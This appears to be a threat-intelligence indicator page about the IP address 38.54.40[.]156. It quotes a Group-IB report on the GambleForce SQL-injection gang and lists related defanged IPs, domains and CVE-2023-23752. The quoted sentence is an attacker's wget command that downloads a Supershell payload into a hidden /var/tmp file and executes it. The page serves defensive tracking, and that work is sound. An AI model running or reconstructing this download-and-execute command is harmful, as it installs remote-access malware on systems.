38.54.40[.]156IP address
Reported by 1 independent source · first reported by Group-IB · last reported
Last reported 2 years ago
What the reports say
1 report, newest first · the exact sentence from each-
Ace in the Hole: exposing GambleForce, an SQL injection gang“wget hxxp://38.54.40[.]156:8888/supershell/compile/download/linuxamdx64 -O /var/tmp/.caches&& chmod +x /var/tmp/.caches&&/var/tmp/.caches”
Indicators reported together
named in the same reports- 212.60.5[.]129in 1 report
- hxxp://38.54.40[.]156:8888/supershell/compile/download/linuxamdx64in 1 report
- dns-supports[.]onlinein 1 report
- windows.updates[.]wikiin 1 report
- cs[.]storein 1 report
- www.dns-supports[.]onlinein 1 report
- cobaltstrikepro[.]storein 1 report
- 37.128.246[.]50in 1 report
- 38.60.220[.]230in 1 report
- 130.162.156[.]51in 1 report
- 172.104.113[.]179in 1 report
- 123.118.226[.]80in 1 report
- 172.104.51[.]37in 1 report
Copy these 13 indicators · defanged
Also named with it: CVE-2023-23752
Thanks — we review every report.